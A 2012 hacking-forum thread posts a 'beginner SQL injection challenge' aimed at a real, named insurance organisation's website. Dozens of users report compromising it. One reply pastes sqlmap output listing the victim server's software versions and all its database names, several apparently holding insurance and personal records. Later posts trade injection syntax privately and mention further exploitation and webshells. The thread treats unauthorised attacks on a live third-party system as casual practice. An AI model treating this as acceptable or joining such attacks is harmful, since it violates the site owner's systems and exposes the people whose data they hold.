

Forum:[Hack Forums](#)

Thread: [\[Semi-Easy\] SQLi Challenge for beginners \[Semi-Easy\]](#)

MeTTa28 - August 23, 2012, 8:09 am

Hi,

Thought I'd provide you with a little challenge.

Target: <http://www.ksinsurance.org/hbexplain/index.php?pgid=2>

Task: Display version with your HF name and post proof SS and PM syntax.

Proof:

Solvers:

ajkaro

haczord

SHoTT

Note: I would like to thank cloudsemail as I got the target from his list.

ajkaro - August 23, 2012, 8:40 am

Here it is

[img]http://www.anonmgur.com/up/048afa284c68f82393e15c17a69fec73.jpg[/img]

Thanks for challenge ?

MeTTa28 - August 23, 2012, 9:11 am

First Solver, nice one.

Added to Solvers.

benzi - August 23, 2012, 11:45 am

easy one,done.

haczord - August 23, 2012, 12:24 pm

done,here's the proof

[img]http://s7.postimage.org/v377u2r7v/Capture1.jpg[/img]

thanks for challenge

lokiji - August 23, 2012, 2:10 pm

done

[img]http://s9.postimage.org/lkhp1ldyn/image.jpg[/img]

cant send PMs:-/ i am new here and need more posts to be able to send PMs

ph3wl - August 23, 2012, 2:12 pm

Thanks for challenge!

[img]<http://img1.UploadScreenshot.com/images/main/8/23507511712.png>[/img]

mirkops - August 23, 2012, 3:18 pm

how we can doing this?? ...please someone could help us ...!!

bYT3R_ - August 23, 2012, 3:27 pm

Thanks for the challenge

p0pc0rn - August 23, 2012, 8:06 pm

here you go.

easy one.everyone should success on this

kickerbat - August 23, 2012, 11:41 pm

Done;

Code [02:40:46] [INFO] the back-end DBMS is MySQL

web server operating system: Windows

web application technology: PHP 5.3.5, Apache 2.2.17

back-end DBMS: MySQL 5.0

[02:40:46] [INFO] fetching database names

[02:40:47] [INFO] the SQL query used returns 15 entries

[02:40:48] [INFO] retrieved: information_schema

[02:40:49] [INFO] retrieved: as400files

[02:40:50] [INFO] retrieved: fra

[02:40:51] [INFO] retrieved: fra_bk_20110411

[02:40:52] [INFO] retrieved: hbex

[02:40:52] [INFO] retrieved: hrins

[02:40:53] [INFO] retrieved: kid

[02:40:54] [INFO] retrieved: lcm

[02:40:55] [INFO] retrieved: medsupp

[02:40:56] [INFO] retrieved: mysql

[02:40:57] [INFO] retrieved: recreq

[02:40:57] [INFO] retrieved: register

[02:40:58] [INFO] retrieved: storm

[02:40:59] [INFO] retrieved: surveys

[02:41:00] [INFO] retrieved: test

available databases [15]:

[*] as400files

[*] fra

[*] fra_bk_20110411

[*] hbex

[*] hrins

[*] information_schema

[*] kid

[*] lcm

[*] medsupp

[*] mysql
[*] recreq
[*] register
[*] storm
[*] surveys
[*] test

[02:41:00] [INFO] fetched data logged to text files under
'/pentest/database/sqlmap/output/www.ksinsurance.org'

[*] shutting down at 02:41:00

Desmolicious - August 23, 2012, 11:45 pm

LOL.

I am a noob when it comes to SQL Injection o_o I can't even pull this challenge off XD

Sonic Boom - August 24, 2012, 12:22 am

Very good challenge gonna PM you the syntax :)

Spoiler ([Click to View](#))

AnonFbFb - August 24, 2012, 2:00 am

[img]http://i.imm.io/BNcq.png[/img]

Thx again for challenge :D

SIM-487530 - August 24, 2012, 3:42 am

done

[img]http://s9.postimage.org/k55vduan/image.jpg[/img]

MeTTa28 - August 24, 2012, 9:22 am

Sorry guys, I can no longer edit my post to add Solvers, Well done everyone that did it. However a lot of people only sent me strings via pm or only posted SS on thread. I need at very least the string to prove that you solved the challenge.

I would be intrested to know how many people used Union method as opposed to Error based.

I also would like to give top marks to ajkaro for doing both and proving it!!!

Well done everyone, stand by for more challenges.

Sorry to double post:

For those of you that are stuck I will give you one hint: FILTER

sandeep1024 - August 24, 2012, 10:40 am

its so easy..done :)

[img]http://s10.postimage.org/cleo4m6s9/ss.jpg[/img]

Jae? - August 24, 2012, 12:10 pm

Thanks for the challenge, really easy one.

secuwolfy - August 24, 2012, 12:15 pm
Easy, but taining never bad :D

Ty for it

~[DogiD]~ - August 24, 2012, 12:20 pm

Thanks for challenge bro :]

~ DogiD ?

pankajborah - August 24, 2012, 2:50 pm

done .. but dont know how to upload pics sorry for that :(..

[.com/116ot8x.jpg\]done](#) thanks for the challenge..

ajkaro - August 24, 2012, 3:17 pm

(Aug 24, 2012 02:50 PM)pankajborah Wrote: [\[CITE\]](#) done .. but dont know how to upload pics sorry for that :(..

Make a screenshot and save it to some jpg file.

Use some image upload web service like <https://imgur.com/> and upload your image. After uploading you will get url to your image.

Then write your message here on forum and click on button to insert image. Paste there link to your image.

Thats is all ?

secuwolfy - August 24, 2012, 3:53 pm

Hello,

I've created a new thread in order to exploit, nicely, this.

Please, try to not upload a webshell?